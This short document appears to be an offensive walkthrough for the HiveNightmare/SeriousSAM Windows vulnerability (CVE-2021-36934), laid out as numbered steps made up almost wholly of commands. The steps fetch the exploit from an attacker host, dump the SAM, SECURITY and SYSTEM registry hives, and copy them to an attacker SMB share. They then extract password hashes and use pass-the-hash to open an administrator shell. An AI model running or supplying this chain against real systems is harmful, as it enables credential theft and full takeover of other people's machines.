HiveNightmare AKA Serious SAM CVE-2021-36934

Steps

1) Check the specific Windows Version

[System.Environment]::OSVersion.Version

Major Minor Build Revision

---

10 0 19043 0

2) Download HiveNightmare on our machine, then transfer it to the target machine.

wget https://github.com/GossiTheDog/HiveNightmare/releases/download/0.6/HiveNightmare.exe

wget "http://ATTACKER_IP/HiveNightmare.exe" -outfile "c:\pwn\HiveNightmare.exe"

3) Run HiveNightmare.exe to dump the registry hives.

./HiveNightmare.exe

4) Transfer the hives to our machine

Attacker machine

impacket-smbserver test /home/kali/Sams_test -username test -password test -smb2support

Target machine

net use \\ATTACKER_IP\test test /user:test

copy SAM \\ATTACKER_IP\test
copy SECURITY \\ATTACKER_IP\test
copy SYSTEM \\ATTACKER_IP\test

5) Dump hashes

impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

6) Spawn cmd as administrator

impacket-psexec -hashes LM:NTLM_HASH administrator@TARGET_IP cmd.exe